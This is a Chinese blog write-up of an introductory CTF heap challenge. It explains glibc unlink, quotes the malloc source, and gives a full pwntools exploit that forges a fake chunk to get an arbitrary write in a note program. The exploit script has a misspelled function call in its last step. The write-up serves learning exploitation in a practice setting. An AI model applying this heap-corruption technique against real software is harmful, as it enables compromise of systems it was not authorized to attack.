unlink入门题

刚学了unlink,总结下利用方式和思路

0x0 unlink漏洞分析

概览

free函数在释放堆块时,会判断相邻前,后堆块是否为空闲堆块,是就会进行合并,然后利用unlink机制将该空闲堆块从unsorted bin中取下.

源码细节

触发条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if (!prev_inuse(p)) {
/* 如果当前free的chunk的前一个相邻chunk为空闲状态,与前一个空闲chunk合并 */
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {
/* 与当前free的chunk相邻的下一个chunk不是分配区的top chunk */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

if (!nextinuse) {
/* 如果当前free的chunk的下一个相邻chunk为空闲状态,与下一个空闲chunk合并 */
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
/* code */

/* code */
} else {
/* code */
}

可以让一个构造出来的fake chunkunlink导致一次固定地址写.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define unlink(AV, P, BK, FD) {                   
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action, "corrupted double-linked list (not small)", P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}

这里需要绕过检测__builtin_expect (FD->bk != P || BK->fd != P, 0),使P->fd->bk == P && P->bk->fd == P为真.
所以fake chunk可以如下构造.

1
fake_pre_size | fake_size | &target - 0x18 | &target - 0x10

0x1分析程序

通过反汇编可知,程序是一个笔记本程序,可以对笔记本进行增加,删除,修改操作。我首先考虑栈溢出的情况,但是没有找到可以溢出的位置。然后又寻找uaf和double free漏洞是否存在,发现所有位置在free后都置为了0,也没有这个漏洞。最后发现它在修改操作上出现了一些问题。
1
它进行的修改操作:

  • 输入要修改note的索引
  • 检测该索引是否有note存在,若无则退出程序
  • 输入要修改后内容的最大字节数
  • 输入内容
    可以想到如果我们输入的修改后的最大字节数比一开始malloc的空间大的话,我们就可以在输入时覆盖掉当前这个note后面的chunk的内容。我们就可以用unlink的方式实现任意地址写

0x2利用方式

写好增加,删除,修改的函数,避免写一些重复。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def add_note(size, stri):
sh.recvuntil("Your choice : ")
sh.sendline("1")
sh.recvuntil("Size of note : ")
sh.sendline(str(size))
sh.recvuntil("Content of note:")
sh.sendline(stri)
sh.recvuntil("Success!\n")

def delete_note(index):
sh.recvuntil("Your choice : ")
sh.sendline("3")
sh.sendline(index)
sh.recvuntil("Done !\n")

def edit_note(index, size, stri):
sh.recvuntil("Your choice : ")
sh.sendline("2")
sh.recvuntil("Index :")
sh.sendline(index)
sh.recvuntil("Size of note : ")
sh.sendline(str(size))
sh.recvuntil("Content of note : ")
sh.sendline(stri)
sh.recvuntil("Done !\n")

申请三个note,使其足够大,避免free后被加入到fastbin中。因为fastbin中的空闲块不会合并,自然也就无法利用unlink了

1
2
3
4
payload = p64(0) + p64(0x90) + p64(buf-0x18) + p64(buf-0x10) + 'a'*0x70 + p64(0x90) + p64(0xa0)

edit_note("0", 0xa0, payload)
delete_note("1")

这时构造payload,unlink操作后buf = &buf - 0x18

0x3 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

sh = process('./pwn')

def add_note(size, stri):
sh.recvuntil("Your choice : ")
sh.sendline("1")
sh.recvuntil("Size of note : ")
sh.sendline(str(size))
sh.recvuntil("Content of note:")
sh.sendline(stri)
sh.recvuntil("Success!\n")

def delete_note(index):
sh.recvuntil("Your choice : ")
sh.sendline("3")
sh.sendline(index)
sh.recvuntil("Done !\n")

def edit_note(index, size, stri):
sh.recvuntil("Your choice : ")
sh.sendline("2")
sh.recvuntil("Index :")
sh.sendline(index)
sh.recvuntil("Size of note : ")
sh.sendline(str(size))
sh.recvuntil("Content of note : ")
sh.sendline(stri)
sh.recvuntil("Done !\n")

buf = 0x4040C0

target = 0x4040A0

add_note(0x90, "1") #0
add_note(0x90, "1") #1
add_note(0x90, "1") #2

payload = p64(0) + p64(0x90) + p64(buf-0x18) + p64(buf-0x10) + 'a'*0x70 + p64(0x90) + p64(0xa0)

edit_note("0", 0xa0, payload)
delete_note("1")

payload2 = 'a'*0x18 + p64(target)
edit_note("0", 0x18, payload2)

eidt_note("0", 0x8, p64(0x7E4))

sh.interactive()

如果程序存在堆溢出漏洞,可以在当前chunk伪造一个小0x10的fake chunk,同时将下一个chunk头部的prve size修改,然后free下一chunk触发unlink

1
pre_size1 | size1 | fake_pre_size = pre_size1 ? pre_size1 + 0x10 : 0 | fake_size = size1 - 0x10 | &target - 0x18 | &target - 0x10 | padding | fake_size align | size2 & ~1

要求target = P.结果target = &target - 0x18.

-------------本文结束感谢您的阅读-------------
+ +